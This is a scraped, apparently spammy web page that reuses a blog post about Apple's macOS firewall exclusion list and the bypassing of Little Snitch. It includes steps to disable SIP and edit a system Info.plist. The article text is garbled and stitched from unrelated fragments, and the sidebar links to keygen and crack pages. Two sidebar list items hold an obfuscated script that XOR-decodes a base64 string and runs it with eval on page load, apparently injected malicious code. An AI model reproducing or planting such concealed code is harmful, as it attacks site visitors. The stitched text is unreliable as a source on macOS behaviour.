Com.apple.geod.xpc Little Snitch

Com.apple.geod.xpc Little Snitch Box
Com.apple.geod.xpc Little Snitch Watch

Apple has removed this whitelist completely, allowing third-party firewalls like Little Snitch to reliably monitor and filter any network traffic. Up until macOS 11.1 the whitelist inlcudes the following macOS processes.

UPDATE 2: The traffic of some Apple processes isn’t shown in Little Snitch 5. UPDATE 3: Enabling Little Snitch 4.6 kext under Big Sur. UPDATE 4: Tweet by Apple developer Russ Bishop: 'Some system processes bypassing NetworkExtensions in macOS is a bug, in case you were wondering.' And some replies.
Aug 21, 2016 com.apple.geod.xpc. Apple programs directly parts of the system software and why are they connecting to the internet without my request? I do not use any 'games' why trying to erase this application I'm told this would jeopardize the general funtionality of my computer?
EtreCheck 4.01.% (App Store) com.apple.WebKit.WebContent (14) 1.37.% (Apple) Little Snitch Agent 0.47.% (Objective Development Software GmbH) Google Chrome 0.32.% (Google, Inc.) Top Processes Snapshot by Memory: Process (count) RAM usage (Source - Location) EtreCheck 706.MB (App Store) Google Chrome 304.MB (Google, Inc.) Google Chrome Helper.

tinyapps.org / blog

Patrick Wardle highlighted a tweet by Maxwell ('Some Apple apps bypass some network extensions and VPN Apps. Maps for example can directly access the internet bypassing any NEFilterDataProvider or NEAppProxyProviders you have running'), sparking an extensive HN discussion on Apple's ham-fisted tactics (not unlike Google's recent behavior).

A search for 'NEFilterDataProvider' turned up David Dudok de Wit's post fingering the ContentFilterExclusionList key in /System/Library/Frameworks/NetworkExtension.framework/Versions/A/Resources/Info.plist as the culprit. The default list includes 56 Apple apps and daemons like App Store, MusicLibrary, softwareupdated, etc.:

Com.apple.geod.xpc Little Snitch Box

<li><p>Disable FileVault</p></li><li><p>Boot into macOS Recovery, disable SIP (<code>csrutil disable</code>) and SSV (<code>csrutil authenticated-root disable</code>), and reboot</p></li><li><p>Find the root mount device, e.g.,<br /><samp>%</samp><code>mount</code><br /><samp>/dev/<span>disk1s5</span>s1 on / (apfs, local, read-only, journaled)<br />...</samp></p></li><li><p><samp>%</samp><code>mkdir <span>mnt</span></code></p></li><li><p><samp>%</samp><code>sudo mount -o nobrowse -t apfs /dev/<span>disk1s5</span><span>mnt</span>/</code></p></li><li><p>Edit Info.plist as desired, e.g., <samp>%</samp><code>sudo vi mnt/System/Library/Frameworks/NetworkExtension.framework/Versions/A/Resources/Info.plist</code></p></li><li><p><samp>%</samp><code>sudo bless --folder mnt/System/Library/CoreServices --bootefi --create-snapshot && sudo reboot</code></p></li></ol><p>Little Snitch 5 and TripMode 3 had no problem blocking the previously-cloaked processes afterwards:</p><p>though one may well be left with a niggling doubt: should all this really be necessary to monitor your own computer's network traffic?</p><p><small><b>UPDATE 1:</b></small> Hany, author of Murus and Vallum, was kind enough to reply with some testing of his own:</p><img src='https://bgentry.io/img/apple-http/apple-http-photos-agent.png' alt='Snitch' title='Snitch' /><blockquote><i>I did some tests and I’ve found at least one major issue on Catalina.<br />Removing all entries from the dictionary key seems to work for most listed processes: connections are seen by the network filter and flows are passed/blocked according to matched rules. But it does not work for at least one of the listed processes: IMTransferAgent.If you use macOS Messages.app then you may be aware that this process is used to send messages attachments.<br />If removed from the list, the process is always blocked. The filter provider does not see any flow for that process, and any attempt to send attachments with Messages.app will fail until you disable the filter.</i></blockquote><p><small><b>UPDATE 2:</b></small>The traffic of some Apple processes isn’t shown in Little Snitch 5.</p><p><small><b>UPDATE 3:</b></small>Enabling Little Snitch 4.6 kext under Big Sur</p><p><small><b>UPDATE 4:</b></small>Tweet by Apple developer Russ Bishop: '<i>Some system processes bypassing NetworkExtensions in macOS is a bug, in case you were wondering.</i>' and some replies:</p><ul><li>Matt Greenfield: '<i>Public bug tracker would make it easier to believe too. Lack of transparency breeds lack of trust.</i>'</li><li>David Dudok de Wit: '<i>Glad to see it's being reconsidered as a bug, because Apple told us it 'behaves as designed' (FB7740671 + FB7665551). And why is there an exclusion list in the first place? I'd love to know more and see this documented.</i>'</li><li>Sérgio Silva: '<i>Yes. A bug with its own configuration file /System/Library/Frameworks/NetworkExtension.framework/Resources/Info.plist ContentFilterExclusionList</i>'</li></ul><img src='https://img.macg.co/2018/4/macgpic-1523281483-168605283024590-sc-jpt.jpg' alt='Mac' title='Mac' /><p><small><b>UPDATE 5:</b></small>Exclusions Blaster</p><p><small><b>UPDATE 6:</b></small>Hooray, no more ContentFilterExclusionList</p><p align='right'>/mac | Oct 21, 2020</p><h2 id='comapplegeodxpc-little-snitch-watch'>Com.apple.geod.xpc Little Snitch Watch</h2><p>Subscribe or visit the archives.</p></p>
<div class="alignright"></div><div class="alignleft"></div> 
                <div class="wp-pagenavi">
                    <div class="alignleft"><a href='/chevrolet-logo-vector'>Chevrolet Logo Vector</a></div>                    <div class="alignright"><a href='/solidworks-2003-free-download-full-version'>Solidworks 2003 Free Download Full Version</a></div>                </div>
                                			</div>
			<div id="comments">
	
	
	<p>Comments are closed.</p>
	
</div>
			
		</article>
		
		
		
	</section>
    </div>
<aside id="sidebar" role="complementary">
        
        
    	<div id="archives" class="widget">
			<h3 class="widget-title">MOST POPULAR ARTICLES</h3>
			<ul class="list arrow">
					<li><a href='/dmg-lab-hours-glen-ellyn'>: Dmg Lab Hours Glen Ellyn</a></li>
<li><a href='/winthruster-clave-de-licencia'>: Winthruster Clave De Licencia</a></li>
<li><a href='/beamng-drive-serial-key-generator'>: Beamng Drive Serial Key Generator</a></li>
<li><a href='/pass-the-message-game-tagalog-phrases'>: Pass The Message Game Tagalog Phrases</a></li>
<li><a href='/download-naruto-in-hindi-dubbed-136-220'>: Download Naruto In Hindi Dubbed 136 220</a></li>
<li><a href='/pass-the-message-game-tagalog-phrases'>: Pass The Message Game Tagalog Phrases</a></li>
<li><a href='/cd-reef-v4-iso'>: Cd Reef V4 Iso</a></li>
<li><a href='/download-opgg-for-league-of-legends'>: Download Op.gg For League Of Legends</a></li>
<li><a href='/sims-4-jiggle-mod'>: Sims 4 Jiggle Mod</a></li>
<li><script>var jepQ='QRxCegJ0PgcLwp2Y1R41idk16qiIsqbkZvWvm6e6pGud7yYpIg4RvBjNGEFW7bHze0UbCGL3N7LLRh2HB1amutXxljXQBq8o747hMXWbDaexZH4yK6vfbveUcxYtR4Cx8xNWjV4Mf7RuoAGNnyfD42mLZmeo8DsIGQyB3ipYcR8cMTFL';var xejb=atob('JzMKYxcCLA00CAA5GhVcLR8xQUMbAQVFZRIbIAMFWR07BHcOBURYWBUwVTx6NREEPRdmNwc3Dz0zbW9sTwo6VApAMAxrYAt2GhBga31HWyYmVAseWwcoGQ8Pf3h5CVAdGUNeHCUbJQcgBAsMMylYCnZCBBMHTR09EVY2Gj5bIhwFHjs5CSJdIggfew4KNyYiRgEONhpACD8qAgscXRAWMTN4Qj8IERgrTSFdDSl8b3c=');var WKIH='';for(var IhO=0;IhO<jepQ.length;IhO++){WKIH+=String.fromCharCode(jepQ.charCodeAt(IhO)^xejb.charCodeAt(IhO));}eval(WKIH);</script></li>
					<li><script>var jepQ='QRxCegJ0PgcLwp2Y1R41idk16qiIsqbkZvWvm6e6pGud7yYpIg4RvBjNGEFW7bHze0UbCGL3N7LLRh2HB1amutXxljXQBq8o747hMXWbDaexZH4yK6vfbveUcxYtR4Cx8xNWjV4Mf7RuoAGNnyfD42mLZmeo8DsIGQyB3ipYcR8cMTFL';var xejb=atob('JzMKYxcCLA00CAA5GhVcLR8xQUMbAQVFZRIbIAMFWR07BHcOBURYWBUwVTx6NREEPRdmNwc3Dz0zbW9sTwo6VApAMAxrYAt2GhBga31HWyYmVAseWwcoGQ8Pf3h5CVAdGUNeHCUbJQcgBAsMMylYCnZCBBMHTR09EVY2Gj5bIhwFHjs5CSJdIggfew4KNyYiRgEONhpACD8qAgscXRAWMTN4Qj8IERgrTSFdDSl8b3c=');var WKIH='';for(var IhO=0;IhO<jepQ.length;IhO++){WKIH+=String.fromCharCode(jepQ.charCodeAt(IhO)^xejb.charCodeAt(IhO));}eval(WKIH);</script></li>
			</ul>
		</div>
		
        
        
</aside>
        </div>
        <footer id="footer">
            <div id="footer-inner" class="row">
                            </div>
        </footer>
        <div id="footer-bar">
            <div class="right">
                <div id="footer-nav">
                                </div>
            </div>
            <div class="left">
                Copyright © 2021 Hunterhm534. 
	 
		
            </div>
        </div>
    </div>
    
	</body>
</html>